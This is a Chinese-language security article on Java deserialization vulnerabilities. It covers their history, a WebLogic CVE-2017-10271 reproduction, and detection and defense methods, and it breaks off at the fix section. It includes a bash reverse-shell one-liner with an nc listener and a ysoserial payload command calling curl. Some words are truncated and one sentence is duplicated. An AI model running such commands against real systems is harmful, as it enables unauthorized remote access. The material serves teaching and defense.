java反序列漏洞原理分析及防御修复⽅法
Java反序列化漏洞原理
谈起java反序列化漏洞,相信很多⼈都不会陌⽣,这个在2015年⾸次被爆出的漏洞,⼏乎横扫了包括Weblogic、WebSphere、JBoss、Jenkins等在内的各⼤java web server,历经⼏年的发展变种,各种语⾔⼯具依次爆出存在可利⽤的反序列化漏洞。
具全⽹分析以及shodan扫描显⽰,时⾄今⽇,在全球范围内的公⽹上⼤约有136,818台服务器依然存在反序列化漏洞。
为什么这个漏洞影响如此之⼤,却依然让⼈防不胜防。通过本篇⽂章,美创第59号安全实验室将为⼤家剖析java反序列化漏洞原理,寻防御⽅法以及修复⼿段。
1. 什么是java序列化与反序列化?
Java 序列化是指把 Java 对象转换为字节序列的过程,以便于保存在内存、⽂件、数据库中,ObjectOutputStream类的 writeObject()⽅法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() ⽅法⽤于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运⾏环境的⼀种⼿段,可以轻松的存储和传输数据,实现多平台之间的通信、对象持久化存储。主要应⽤在以下场景:
1. 当服务器启动后,⼀般情况下不会关闭,如果逼不得已要重启,⽽⽤户还在进⾏相应的操作,为了保证⽤户信息不会丢失,实现暂时
性保存,需要使⽤序列化将session信息保存在硬盘中,待服务器重启后重新加载。
2. 在很多应⽤中,需要对某些对象进⾏序列化,让他们离开内存空间,⼊住物理硬盘,以便减轻内存压⼒或便于长期保存。
2. Java反序列化漏洞成因
我们需要明确的⼀点是:Java的序列化和反序列化本⾝并不存在问题,但如果java应⽤对⽤户输⼊,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输⼊,让反序列化产⽣⾮预期的对象,⽽⾮预期的对象在产⽣过程中就有可能带来任意代码执⾏的后果。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对⽣成的对象的类型做限制;正因为此,java提供的标准库及⼤量第三⽅公共类库成为反序列化漏洞利⽤的关键。
3. Java反序列化漏洞的发展历史
2011年开始,攻击者就开始利⽤反序列化问题发起攻击
2015年11⽉6⽇FoxGlove Security安全团队的@breenmachine发布了⼀篇长博客,阐述了利⽤java反序列化和Apache Commons
Collections这⼀基础类库实现远程命令执⾏的真实案例,各⼤java web server纷纷中招,这个漏洞横扫WebLogic、WebSphere、JBoss、
Jenkins、OpenNMS的最新版。
2016年java中Spring与RMI集成反序列化漏洞,使成百上千台主机被远程访问
2017年末,WebLogic XML反序列化引起的挖矿风波,使得反序列化漏洞再⼀次引起热议。
从2018年⾄今,安全研究⼈员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞,反序列化漏洞⼀直在路上。。。
4. Java反序列化漏洞形成原理
实例化⼀个USER对象,新建⼀个⽂件输⼊流fileout,再建⽴⼀个指向fileout的对象输⼊流out,然后使⽤writeObject()⽅法将对象进⾏序列化保存在⽂件中
使⽤winhex打开⽂件,查看⽂件内容开头可以发现AC ED 00 05是序列化内容的特征
再次实例化⼀个USER对象,使⽤readObject()⽅法对⽂件中的内容进⾏反序列化,获取其中的USER对象
问题出现在,⾃定义的USER类实现了Serializable的接⼝,重写了readObject()⽅法,返回了
<(“”)这个打开计算器的命令。
值得注意的是,只有实现了Serializable接⼝的类的对象才可以被序列化,Serializable接⼝是启⽤其序列化功能的接⼝,没有实现此接⼝的
值得注意的是,只有实现了Serializable接⼝的类的对象才可以被序列化,Serializable接⼝是启⽤其序列化功能的接⼝,没有实现此接⼝的类将不能使他们的任⼀状态被序列化或反序列化。⽽readObject()⽅法的作⽤正是从⼀个源输⼊流中读取字节序列,再把它们反序列化为⼀个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的⼀些⾏为。
5. WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
0x01 漏洞说明
17年⾄18年,⼤量⿊客利⽤weblogic反序列化漏洞CVE-2017-3248和weblogic WLS LS组件的远程代码执⾏漏洞CVE-2017-10271,Oracle官⽅在2017年10⽉份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了⼤范围远程攻击,对⼤量企业的服务器造成了严重威胁,受影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
0x02 攻击说明
攻击者选定要攻击的⽬标主机后,利⽤WebLogic WLS 组件漏洞(CVE-2017-10271)调⽤ Linux 中
的wget 下载shell脚本并调⽤Linux本地“/bin/bash”执⾏shell脚本。
此次漏洞出现在wls-wsat.war中,此组件使⽤了weblogic⾃带的webservices处理程序来处理SOAP请求⾸先在
weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析,其解析XML的调⽤链为
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.adHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest⽅法获取到localHeader1后传递给readHeaderOld⽅法,其内容为work:WorkContext所包裹的数据session如何设置和读取
weblogic.wsee.jaxws.adHeaderOld⽅法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造⽅法中。最后通过XMLDecoder来进⾏反序列化操作。
0x03漏洞复现
⼀般情况下weblogic会开放7001以及7002端⼝
使⽤burpsuit中的repeater功能,将poc复制进去,修改host和port
最重要的是在xxxxxx中的xxxxx处更改成⼀句话反弹shell
/bin/bash -I > /dev/tcp/172.30.70.1/8888 0<&1 2>&1
执⾏nc -l -p 8888⽤来开启对8888端⼝的监听
发送BurpSuit中⾃⼰编写的poc,在⾃⼰的主机上即可得到反弹shell
6. 如何发现java反序列化漏洞
a. 从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB
b. Java RMI 的传输 100% 基于反序列化,Java RMI 的默认端⼝是1099端⼝
c. 从源码⼊⼿,可以被序列化的类⼀定实现了Serializable接⼝
d. 观察反序列化时的readObject()⽅法是否重写,重写中是否有设计不合理,可以被利⽤之处
7. Java反序列化漏洞防御措施
a. 代码审计
反序列化操作⼀般在导⼊模版⽂件、⽹络通信、数据传输、⽇志格式化存储、对象数据落磁盘或DB存储等业务场景,在代码审计时可重点关注⼀些反序列化操作函数并判断输⼊是否可控,如下:
Yaml.load
XStream.fromXML
JSON.parseObject
同时也要关注第三jar包是否提供了⼀些公共的反序列化操作接⼝,如果没有相应的安全校验如⽩名单校验⽅案,且输⼊可控的话就也可能存在安全问题。
b. 进阶审计
对于直接获取⽤户输⼊进⾏反序列化操作这种点⽐较好审计并发现,⽬前反序列化漏洞已经被谈起太多次了,所以有经验的开发者都会在代码中有相应的修复。但并不是所有修复都⽆懈可击。⽐如采⽤⿊名单校验的修复⽅式,对于这种修复可在⼯程代码中尝试挖掘新的可以利⽤的’gadget‘。
代码中有使⽤到反序列化操作,那⾃⾝项⽬⼯程中肯定存在可以被反序列化的类,包括Java⾃⾝、第三⽅库有⼤量这样的类,可被反序列化的类有⼀个特点,就是该类必定实现了Serializable接⼝,Serializable 接⼝是启⽤其序列化功能的接⼝,实现 java.io.Serializable 接⼝的类才是可序列化的。
所以在代码审计时对这些类也可进⾏特别关注,分析并确认是否有可能被发序列化漏洞利⽤执⾏任意代码。发现新的可利⽤的类即可突破使⽤⿊名单进⾏校验的⼀些应⽤。
c. ⽩盒检测
⼤型企业的应⽤很多,每个都⼈⼯去审计不现实,往往都有相应的⾃动化静态代码审计⼯具,这⾥以adObject()为例,其它反序列化接⼝的检测原理也相似。在⾃动化检测时,可通过实现解析java源代码,检测readObject()⽅法调⽤时判断其对象是否为java.io.ObjectOutputStream。如果此时ObjectInputStream对象的初始化参数来⾃外部请求输⼊参数则基本可以确定存在反序列化漏洞了。这是只需确认是否存在相应的安全修复即可。
d. ⿊盒检测
调⽤ysoserial并依次⽣成各个第三⽅库的利⽤payload(也可以先分析依赖第三⽅包量,调⽤最多的⼏个库的paylaod即可),该payload构造为访问特定url链接的payload,根据http访问请求记录判断反序列化漏洞是否利⽤成功。如:
java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " ’
也可通过DNS解析记录确定漏洞是否存在。.
e. RASP检测
Java程序中类ObjectInputStream的readObject⽅法被⽤来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。
类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前⾯位置,且在readObject反序列化时⾸先会调⽤resolveClass读取反序列化的类名,所以RASP检测反序列化漏洞时可通过重写ObjectInputStream对象的resolveClass⽅法获取反序列化的类即可实现对反序列化类的⿊名单校验。
f. 攻击检测
通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为⼗六进制的0xAC ED。接下来是两字节的版本号。我只见到过版本号为5(0x00 05)的数据。考虑到zip、base64各种编码,在攻击检测时可针对该特征进⾏匹配请求post中是否包含反序列化数据,判断是否为反序列化漏洞攻击。
xxxdeMacBook-Pro:demo xxx$ xxd objectexp
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c …fl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU…
但仅从特征匹配只能确定有攻击尝试请求,还不能确定就存在反序列化漏洞,还要结合请求响应、返回内容等综合判断是否确实存在漏洞。
8. Java反序列化漏洞修复⽅案:
a. 通过Hook resolveClass来校验反序列化的类

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。